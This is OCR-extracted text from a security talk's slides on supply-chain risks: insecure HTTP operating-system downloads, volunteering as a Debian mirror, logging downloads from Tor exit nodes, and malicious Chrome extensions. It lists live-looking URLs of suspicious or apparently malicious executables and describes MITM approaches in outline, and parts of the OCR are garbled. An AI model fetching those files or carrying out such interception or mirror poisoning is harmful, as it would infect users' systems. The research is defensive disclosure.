Malicious? Maybe no... In-the-wild typosquatting? Yes

Authors: Nils Adermann, Jordi Boggiano and many community contributions
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Operating Systems

PACKAGE MANAGERS AND INSTALLERS




Homebrew

“The missing package manager for macOS”

Install programs with “brew install wget” ' .
“Homebrew installs the stuff you need that »

Apple didn’t.”

Homebrew

The missing package manager for macOS




Brew Packages (“formulae”)

Submitted via pull request

Must be relatively well-established software

Ruby code inside the “install” method

Homebrew formulae are simple Ruby scripts:

claas
homepage
url
shazhe




Installing Brew

Brew is installed with a terminal command, copy & pasted from brew.sh

http://brew.sh/
UPDATE: in Feb, brew.sh installed an HTTPS cert and auto-redirects. HTTP still default on Google.

Install Homebrew

Jusr/bin/ruby -e "%$({curl -fssSL https://raw.githubusercontent.com/Homebrew/install/master/install}™

Paste that at a Terminal prompt. The script explains what it will do and then pauses before it
does it. There are more installation options (needed on
10.5).







Linux Mint

Home Download Project About Links

Linux Mint 18.1 LMDE2 Allversions Documentation Buy CDs

eE%® 0

Linux Mint 18.1 "Serena" - Cinnamon (64-bit) o N
e ‘artcipate Oad

Information about this edition

Linux mint 18.1 "Serena” - Cinnamon (64-bit) Foll
ollow us

1.7GB nw

Release Motes

Announcement
Sponsors
Torrent —
Don't forget to verify your 150 o P EA
privateinternetaccess™

Download mirrors

- world EvoWise CDN .
. M acunetix
l‘l Canada Manitoba Unix User Group
hat Canada University of Waterloo Computer Science Club c
i Advertisements
E Usa advancedhosters.com - A
I What is Linux Mint?
E USA Clarkson University
= USA Go-Parts
E USA James Madison University
Click here and find out
E USA kernel.org
. =] X
E USA Linux Freedom
E UsSA MetroCast Cablevision
E USA MNexcess
E UsSA pair Networks
E USA TAP Open Source Mirror




Linux Mint

Download redirects to mirror selection

109 download methods on Linux Mint iso download page.
Of those, only 1 is secure (HTTPS); 108 sources are not.

True of other distros?
o Ubuntu —yes HTTP

o SUSE Linux Enterprise —yes HTTP
CentOS — yes HTTP redirect

Red Hat Enterprise — No, HTTPS
Debian (see next)

(o]

(e]

o

o

Others — Probably, | got bored checking






Debian

Registered mirrors of the “debian-cd” archive

Doy wouiall - i
6] cdimage.debian.org/debian-cd/current/amdad/iso-cd/ Ea ¢ Q Search ﬁ’ E ¥ @ =
Debian is distributed freely over Internet. You can download all of it from any of our mirrors. The Installation Manual contains detailed inst & g
. Parent Directory -
instructions. -
MD55UMS 2017-01-17 10:08 5.4K
If you simply want to install Debian, these are your options: MDS5SUMS.=ign 2017-01-17 10:20 813
SHR1SUMS 2017-01-17 10:08 &.0K
Download an installation image Try Debian live before installing SHA1SUMS.sign 2017-01-17 10:20 819
= = — SHR2565UMS 2017-01-17 10:08 &.1K
. . Opening debian-8.7.1-amdb4-netinst.iso m e
Depending on your Internet connection, you may d L= = system froma CD, DY .
) You have chosen to onen: SHR2565UMS.sign 2017-01-17 10:20 8189
the following: pen: romputer. When you a B -
[€] debian-8.7.1-amd64-netinstiso vided the images me SHA5125UMS 2017-01-17 10:08 14K
« A small installation image: can be download THTENES e (AR R bn requirements, this| = SAR51250MS.sign 2017-01-17 10:20 8189
from: http://caesar.acc.umu.se . ) . )
should be recorded onto a removable disk. To information about this = debian-8.7.1-amd64-C0-1.isa 2017-01-16 12:53 630M
X X X What should Firefox do with this file? @&
need a machine with an Internet connection. "~/ debian-8.7.1-amd64-CD-2.isc 2017-01-16 12:53 648M
() Open with (&) . .
"~/ debian-§.7.1-amdf4-CD-3.is0 2017-01-16 12:53 648M
=2 gabitpe netinstiso, 32-bit PC netinstiso SaveFile bnts (&) ) ) A
"~ debian-8.7.1-amdE4-CD-4.isc 2017-01-16 12:53 584M
. . . - - S
) ) ) . [] Do this automatically for files like this from now on. I\,/I debian-5.7.1- 64-CD-5.4is0 3017-01-16 12:53 595M
* Alarger complete installation image: contai &) |
T i . "2/ debian-8.7.1-amd64-CD-6.isc 2017-01-16 12:53 648M 3
s/ fwww.debian.org/CD/livefchoose_live erto install machine (&
. "~ debian-8.7.1-amdé4-CD-7.iso 2017-01-16 12:53 &48M
L} Inspector Console (D Debugger {1} Style H- B8 B8 @&
Il HTML CSS S XHR  Fonts  Images  Media  Flash WS Other @ 2requests, OKE, 05 Filter URLs — deblan-8.7.1-amd62-CD-8.150 2017-01-18 12:33 593
&) . .
tatus Method File Domain Cookies Params Response >,/ debian-g.7.1-amdé4-kde-CD-1.is0 2017-01-16 12:02 6314
B kv
ian- - . i i Request URL: http://cdimage.debian.org/debian- cd/current /amd6a/is -
GET debian-8.7.1-amdb4-net cdimage.debian.org Request method-pGET 2 = () L1 Inspector ] Console (@ Debugger  {} Style Editor 5 Performance H~rBH B @ 0O & X
200 GET debian-8.7.1-amdf4-netinst.iso ¥ caesaracc.umu.se 4 : . = :
Remote address: 138.239.158.165: 88 Edit and R m HTML <55 JS  XHR Fonts  Images Media Flash W5 Other @ 6 requests, 13.06 KB, 1.69 s Filter URLs O]
Status code: A 382 Found it and hesel i o i
Version: HTTP/1.1 Status Method File Domain m Cookies Params Response Timings Preview
Filter headers /debian-cd/current/amd64/iso-cd/ ToEl e e Request URL: http://cdimage.debian.org/debian-cd/current/amd&4/iso-cd/
. : Request method: GET
Response headers (0.370 KB) o &2 ER z M cdimagedebianorg g o ove sddress: 130.239.15.165:86 _
Cache-Control: "max-age=300" A 304 GET " go-previous.png J cdimage.debian.org  Status code: @ 280 0K Edit and Resend  Raw headers
‘*1 304 GET || text-x-generic-template.png # cdimage.debian.org Version: HTTR/1.1
A 304 GET = application-certificate.png K cdimage.debian.org Filter headers
A 304 GET =) media-optical.png J& cdimage.debian.org Response headers (0.317 KB) i

« Brazil: debian.c3sl.ufprbr HTTP

* Brazil: debian pop-sc.rnp.br HTTP



Debian

Also downloads over HTTP by default; redirected to mirror or manual mirror selection

What if the download was Man-In-The-Middle intercepted and modified?
Mirrors have copy of hashes and GPG signature of hashes

To validate an iso, you must
> Download the iso

o Download the SHA*SUM file

o Calculate and verify the hash

o Download the sig file

° Install GPG

o Find and download the proper Debian key (ha!)

o Verify the signature of the hash sig file against the debian key

Do you think anybody does this? Did you even see the instructions for how to do this?

What if we did not even need to intercept the HTTP request?



Debian

Adding a mirror
o 2TB free space

o Scheduled rsync
o Web form with your email in it

How to add a mirror to the mirror list

If you would like to have your mirror listed on the official mirrors list please:

« Ensure that your mirror synchronizes 4 times per 24 hours with the archive
= Ensure that your mirror includes the source files for the architectures the mirror carries

Once the mirror is set up, it should be registered with Debian in order to get included in the official mirror list. Submissions can be
done using our simple web form.

Any problems or enguiries can be sent to mirrors@debian org.




Debian Mirror

Would the debian project allow hacker scriptjunkie@scriptjunkie.us to host a mirror?

AM/INNOGENT

You bet!

Side note:
o Mirror the CD/DVD’s, not the package archive too like we did
o Packages’ signatures are checked by apt; mirrors not trusted
o CD/DVD’s: ~500GB
o Packages: ~¥1.5TB

So do people check their signatures?
To the surprise of no-one... Nope!
| do not alter iso’s or serve malicious files, but do others?

Many mirrors of all distros in low-security edu’s

| trust them, but not that they haven’t been compromised



Debian Mirrors

But that’s not all! The Debian CD mirror selector is still experimental because it 1=

. . . unofficial (all dekbian.net domains are unofficial) because it isn't
Debian is IOOkmg fora run using =software available in Debian by Dekbian members on hardware
nuﬂntahqerforthe run by Debian sysadmins and donated/lent to or purchased by Debian.
mirror selector ITEC from discussi?n with the maintainer of it, they dnn'F have any
plan=s to do packaging of the software yvet. If you would like to help
with that, please check out this page and the website for the
software:

Volunteer for a few

hours and your
package(xn1cornrol https://mentors.debian.net/intro-maintainers
*311* iso downloads! http://mirrorbrain.org/

bye,
pabs=

https://wiki.debian.org/PauliWise




Mac OS Sierra

Insecure ap Go gle mac sierra

HTTP pages
are the new
form submi

That’s not h

Attackers cc
malicious o

Users have
package the

real Apple s.

All Mews Videos

About 50,100,000 results (0.52 second

macOS Sierra - Apple

www.apple com/macos/sierral v
Sir makes its debut on Mac, with new
way your Mac is smarter. mac0OS Sie
How to Upgrade - Continuity - macOS

Upgrade to macOS Sierra -
https:/isupport. apple.com » mac0O3
macOS Sierra adds new features that

a |

(& ‘ @ www.apple.com/macos/sierra/

iPhone TV Support

Overview How to Upgrade

macOS Sierra
What can your Mac do now? Just ask.

Siri makes its debut on Mac, with new capabilities designed just for
the desktop. And that’s not the only way your Mac is smarter.
macOS Sierra helps you rediscover your best pho faster and
more conveniently online, and work more sea oty _
devices. It can also help free up valuable storage space. Now your
Mac does even more for you, so you can do more with your Mac.

Upgrade now

0
o8

Upgrade n



Windows 10

Windows 10 free upgrade for customers who use assistive technologies

Google

If you use assistive technologies, you can get a free upgrade to Windows 10 as Microsoft
continues our efforts to improve the Windows 10 experience for people who use these
technologies.

Google . Shal
~ = With the Windows 10 Anniversary Update, we've taken a number of steps to improve

accessibility of Windows 10. To learn more, read our blog that details some of these
improvements.

Before you upgrade, please check with your assistive technology provider(s) to learn
more about their software compatibility with Windows 10.

If you want Windows 10 now and are ready to take advantage of the free upgrade offer,
select the button below to get started.

Yes, | use assistive technologies and | am ready for my free up

UPGRADE NOW >

[w ﬂ Elements Console Sources MNetwork Timeline Profiles Application Security Audits a1 X
o

B Y View

# Preserve log [ Disable cache | [ Offline Mo throttling v

|0 Regex [ Hide data URLs (]| XHR J5 €SS Img Media Font Doc WS Manifest Other

500 ms 1000 ms 1500 ms. 2000 ms 2500ms. 3000 ms 3500 ms 4000 ms 4500 ms’

Mame % | Headers | Preview Response Cookies Timing

I_l COITUI=80SUaaIa= 1 8T=8CT5a =MralL TS5y NCIg=EAY 3G9 3UZ985 50U 9B 09 C95ULANLAZSEIMUIU= 1332 TRA4Z694 809810 22860 TUUT . . .
- Request URL: nttp://go.micresoft.com/fwlink/?LinkId=822783

u scriptskTk=00acb63a-b1e3-3630-aaba-f6 7926350 Request Method: GET
|_| 959721af-e707-44b6-9b6a-d143ec0f7 565 Status Code: 382 Moved Temporarily
Remote Address: 184.85.9.21:88

u 959721af-e707-44b6-9b6a-d1413ec0f756.js7DeploymentConfigName=Release_20170223_18\ersion=1
[] wr-latestjs ¥ Response Headers view source
[] changeMonitor-latestjs Cache-Control: no-cache

[] trans_pixel.aspx?wcs.tz=-58uwes.cot="18mes.route=AccsAuwes.ctri=95688mcs.ts= 14895169 149898mwcs fpe=ID%253D99049f7d42 Connection: keep-alive
Content-Length: @

2 =
[[] sLinkig=g22783 Date: Tue, 14 Mar 2017 18:41:54 GMT
|| windews10Upgrade24074.exe N Expires: -1
Location: https://download.microsoft.com/download/8/4,/7/847889D8-578C-4A44 -

M 38C JE30MSrBIRA0 s eent ercd an /L s 1Ol e 2201070 e

35 requests | 390 KB transferred | Finish: 4695 | DOMCententLoaded: 766 ms | Load: 1.72s

Windows10Upgra....exe Show all x




Windows 10

In case you did not catch that

https://www.microsoft.com/en-us/accessibility/windows10upgrade click download link to...

— . —

http://go.microsoft.com/fwlink/?Linkld=822783 HTTP 302 redirection to...

— . —

https://download.microsoft.com/download/0/4/7/047889D0-578C-4A44-A38F-
7F30A6CB3809/current-version/Windows10Upgrade24074.exe

So close, still fail

Attacker can intercept insecure HTTP download request, serve malicious exe



MITM Opportunities

So everyone is downloading their OS’s and binaries over HTTP

If we can’t set up a mirror, how does an average hacker MITM them?
o Hang around the coffee shop :-/

Figure 1: OnionDuke Unpack Order

Victim

o Set up a proxy 40N

o Run tor exit nodes
o Host a free VPN

This has been done before (OnionDuke)
o Did it work?
o How effective could it be?

[ oross Y Orinal sy
5 ' _msXXXX.bat

Trojan’ sopper:W32/Onion ke A m Trojan-Dropper:W32/OnionDuke.A m Backdoor-W32/OnionDuke
Bo door:W32 E

W32/OnionDuke.B

Josh Pitts, BHUSA 2015 Repurposing OnionDuke



MITM able stats

Ran port 80 tor exit nodes for a few weeks
Kept list of URL’s retrieved (w/o sources)
Again, did not alter any download

>5,000 executable files, packages

Many software piracy-related files

Many games

Some legitimate software utilities

Malware

http://download.virtualbox.org/virtualbox/4.3.20/VirtualBox-4.3.20-96997-Win.exe
http://downloadeu2.teamviewer.com/download/TeamViewer_Setup.exe
http://downloads.tweakbit.com/en/fix-my-pc/aff/fix-my-pc-setup.exe
http://spymenowornever.com/1/agent.exe

http://113.171.224.178/videoplayer/SkypeSetupFull.exe
http://cu.conontaffy.com/131002000/AGRKBoVjoggADTox51hfH20E_kk-TIiSTwdwoSp5SLXbAQAAAAA/21913/Sys
temOptimizer.exe
http://85.25.44.91/d/s2cjxpxiytcnyxlwsbabmdoawa3gilvlp3yysh2s24s617ebgbrtbbte/far_cry_primal_con
spirdcy _crack.rar%7c%3efar_cry_primal_conspirdcy_crack/fcprimal.exe%7c%3e@$8%04/svchost.exe
http://flz.keygen.ru/cache/files/H/hardcodedsoftwaredupegurumusiceditionv5.4.@keygencrude.zip
http://flz.keygen.ru/cache/files/N/navicatformysqlv8.0.22patchinvisible.zip
http://he.nextissue.com/ozm/2017-03-01/media/18284c702d491e213be9fed9d6ee3ea2690bd475.zip
http://software.sonymobile.com/ns/omsi/1/common/installfile/Sony_Mobile_ Update_Engine_Setup-2.15
.6.201504280926.exe
http://downloadl.uploadocean.com/d/4lvrvapn2tslvrtxdb5l4qjjfylkuhpxnimxacedmlq7yt5y5tkd42on36waqb
smkzuufrcq7/easeus.data.recovery.wizard.technician.10.8.0.rar%7c%3ekeygen. rar%7c%3ekeygen.exe
http://he.nextissue.com/pop/2017-03-01/media/83c9d35d4d4c5ad90153e8bf5f82243d5Ffd64666.zip
http://dl.yac-tech.mx/download/official/yet_another_cleaner_sk_6452830.exe
http://url.gglz.com/down/2???222212.22222.%2022.2.2?223822.2.222222222222222222-22.2222?.av1l.7%20
http://sub.reasoninghollow.com/installers/cl1i/1431252129290/SevenZip_downloader-Q3FtjtIE9. exe
http://pdf-reader.su/files/PDFReader.exe

http://games.toomkygames.com/BadPiggiesSetup.exe
http://dal2-85.yxdown.cn/yxdown.com_MedalofHonorAlliedAssault_en.exe
http://portal.office.com/plugin_install.exe

http://files.camstudiorepo.com/CamStudioSetup.exe
http://freegamia.com/distributives/BobbyTheSantaSetup.exe
http://www.anvir.net/downloads/anvirrus.exe




In-the-wild Chrome extensions

Chrome Extensions

. . window.location.href.indexOf( "virus"”

o Can be easily installed by users windou. location. href. index0F(Tc 2) > -
> Permission model can require access all data displayed on or PUIEORREPMPMRPABUIINON | : .vcnt URL contains keyword, do |
type into websites, passwords, screen, microphone, o .o Pe :

webcam...
. . . . blockbebsite

o Filesystem access given certain constraints window. location

> On Chrome OS, can control virtually everything E— —— I
loc location.hostname apek Arviews

. fulllink window.location.href 13,382,327 views
In the Wlld: (reported by Malwa reBytES) starturl = window.location.pathname o

find starturl.index0f(", me"

o Unescapable popup (short of killing processes) forces most webshostname = [“http:/

http:

users to install the malicious extension
o Disables access to chrome://extensions and

A

chrome://settings so you cannot remove it through the @ == find && (document.getElementsByTagName(“htnl")[0].style.opacity
window.location.replace(websredir|randnumb

Ch rome UI Send user to ‘random’ affiliate offer

o Ad fraud and tech support scams



Cloud Platforms

There are many ways users receive code in unverified ways
o Attackers may use these to gain control of their systems

o And then obtain the users’ data

What if we skipped this entirely and just asked users for their data?

The 2017 Twitter Revolt was a great opportunity to test this
o Due to Ul changes, ads, harassment, blocking, Twitter users began to leave

So many moved to the open-source federated Mastodon that the main
instance stopped accepting registrations

o Different mastodon instances can follow and talk with each other

GET STARTED

In the following weeks, hundreds of Mastodon instances sprang up
o My instance had >1500 signups in first few days; others had > 10,000
o Many users already followed me
o | don’t spy on DM’s and take pride in a secure, reputable instance
> Do you trust others who are hiding their domain registration/admins?

Log in - About this instance

<]

(<< I <

What is securitymastod.one?

An open Mastodon instance for informatio



Summary

We proved most programming language package managers have major security weaknesses
© Typo or wrong command attacks

o Anonymous automatic registration and publishing
o Weak authentication, no 2-factor, sometimes none at all
o Expose powerful credentials to many different attack models by caching permanent credentials

Operating system package managers are manual-review and harder to poison
But nearly every OS is acquired insecurely and unlikely to be verified by the user
MITM attacks proven practical against proxy/VPN/Tor users

We became OS and package mirrors to prove
o Anyone could infect packages and OS’s delivered via mirror

o Can be quick, cheap, anonymous, with worldwide effect
o Packages often are not verified against anything external
> We were never denied

Supply chain attacks are happening in the wild now



Summary

In other words, we have shown...

Hacking Hunting

= _ Hacking Attacking package  Becoming a Operating system
sysadmins developers manager package distribution
dependencies mirror attacks






